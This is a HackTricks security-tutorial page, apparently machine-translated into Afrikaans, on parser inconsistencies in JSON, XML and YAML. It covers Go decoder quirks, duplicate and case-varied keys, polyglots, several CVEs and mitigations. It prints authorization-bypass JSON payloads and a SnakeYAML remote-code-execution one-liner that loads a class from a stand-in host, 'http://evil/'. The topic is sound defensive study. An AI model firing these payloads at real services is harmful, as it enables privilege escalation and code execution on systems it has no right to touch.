JSON, XML & Yaml Hacking & Issues
Reading time: 6 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Go JSON Dekoder
Die volgende probleme is in die Go JSON opgespoor, alhoewel dit ook in ander tale teenwoordig kan wees. Hierdie probleme is gepubliseer in hierdie blogpos.
Go se JSON, XML, en YAML parsers het 'n lang pad van inkonsekwentheid en onveilige standaardinstellings wat misbruik kan word om authentisering te omseil, privileges te verhoog, of sensitiewe data te eksfiltreer.
(Un)Marshaling Onverwagte Data
Die doel is om strukture te benut wat 'n aanvaller toelaat om sensitiewe velde te lees/skryf (bv. IsAdmin
, Password
).
- Voorbeeld Struktuur:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Algemene Kw vulnerabilities
- Ontbrekende etiket (geen etiket = veld word steeds standaard verwerk):
type User struct {
Username string
}
Payload:
{"Username": "admin"}
- Onkorrekte gebruik van
-
:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Payload:
{"-": true}
✔️ Regte manier om 'n veld te blokkeer van (un)marshaling:
type User struct {
IsAdmin bool `json:"-"`
}
Parser Verskille
Die doel is om outorisasie te omseil deur te profiteer van hoe verskillende parsers dieselfde payload verskillend interpreteer soos in:
- CVE-2017-12635: Apache CouchDB omseiling via duplikaat sleutels
- 2022: Zoom 0-click RCE via XML parser inkonsekwentheid
- GitLab 2025 SAML omseiling via XML quirks
1. Duplikaat Velde:
Go se encoding/json
neem die laaste veld.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Ander parsers (bv. Java se Jackson) mag die eerste neem.
2. Hooflettergevoeligheid: Go is hooflettergevoelig:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Selfs Unicode truuks werk:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Kruisdiens wanpassing: Stel jou voor:
- Proxy geskryf in Go
- AuthZ diens geskryf in Python
Aanvaller stuur:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python sien
UserAction
, laat dit toe - Go sien
AdminAction
, voer dit uit
Data Formaat Verwarring (Polyglots)
Die doel is om stelsels te exploiteer wat formate meng (JSON/XML/YAML) of wat oopval op parser foute soos:
- CVE-2020-16250: HashiCorp Vault het JSON met 'n XML-parser geparsed nadat STS JSON in plaas van XML teruggestuur het.
Aanvaller beheer:
- Die
Accept: application/json
kop - Gedeeltelike beheer van JSON liggaam
Go se XML-parser het dit tog geparsed en die ingespoten identiteit vertrou.
- Gemaakte lasbrief:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
Result:
- Go JSON parser:
Action_2
(nie-sensitief + laaste wen) - YAML parser:
Action_1
(sensitief) - XML parser: parseer
"Action_3"
binne die string
Opmerklike Parser Kwesbaarhede (2023-2025)
Die volgende publiek-exploiteerbare probleme toon dat onveilige parsing 'n multi-taal probleem is — nie net 'n Go probleem nie.
SnakeYAML Deserialisering RCE (CVE-2022-1471)
- Raak:
org.yaml:snakeyaml
< 2.0 (gebruik deur Spring-Boot, Jenkins, ens.). - Wortel oorsaak:
new Constructor()
deserialiseer arbitraire Java klasse, wat gadget kettings toelaat wat eindig in afstand-kode uitvoering. - Een-liner PoC (sal die sakrekenaar op kwesbare gasheer oopmaak):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Fix / Mitigering:
- Opgradeer na ≥2.0 (gebruik
SafeLoader
as standaard). - Op ouer weergawes, gebruik eksplisiet
new Yaml(new SafeConstructor())
.
libyaml Dubbel-vry (CVE-2024-35325)
- Raak:
libyaml
≤0.2.5 (C-biblioteek wat deur baie taalbindings gebruik word). - Probleem: Die aanroep van
yaml_event_delete()
twee keer lei tot 'n dubbel-vry wat aanvallers kan omskep in DoS of, in sommige scenario's, heap-uitbuiting. - Status: Upstream verwerp as “API misbruik”, maar Linux verspreidings het 'n gepatchte 0.2.6 gestuur wat die pointer defensief null-vry maak.
RapidJSON Heelgetal (Onder|Oor)-vloei (CVE-2024-38517 / CVE-2024-39684)
- Raak: Tencent RapidJSON voor verbintenis
8269bc2
(<1.1.0-patch-22). - Fout: In
GenericReader::ParseNumber()
onbeheerde wiskunde laat aanvallers toe om enorme numeriese literale te skep wat omhul en die heap korrupteer — uiteindelik wat privilige-eskalasie moontlik maak wanneer die resulterende objekgraf gebruik word vir outoriseringbesluite.
🔐 Mitigasies (Opgedateer)
Risiko | Fix / Aanbeveling |
---|---|
Onbekende velde (JSON) | decoder.DisallowUnknownFields() |
Dubbele velde (JSON) | ❌ Geen oplossing in stdlib — valideer met jsoncheck |
Hooflettergevoelige ooreenkoms (Go) | ❌ Geen oplossing — valideer struktuurtags + pre-kanaal invoer |
XML rommeldata / XXE | Gebruik 'n geharde parser (encoding/xml + DisallowDTD ) |
YAML onbekende sleutels | yaml.KnownFields(true) |
Onveilige YAML deserialisering | Gebruik SafeConstructor / opgradeer na SnakeYAML ≥2.0 |
libyaml ≤0.2.5 dubbel-vry | Opgradeer na 0.2.6 of distro-gepatchte weergawe |
RapidJSON <gepatchte verbintenis | Compileer teen die nuutste RapidJSON (≥Julie 2024) |
Verwysings
- Baeldung – “Oplossing van CVE-2022-1471 Met SnakeYAML 2.0”
- Ubuntu Veiligheid Tracker – CVE-2024-35325 (libyaml)
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.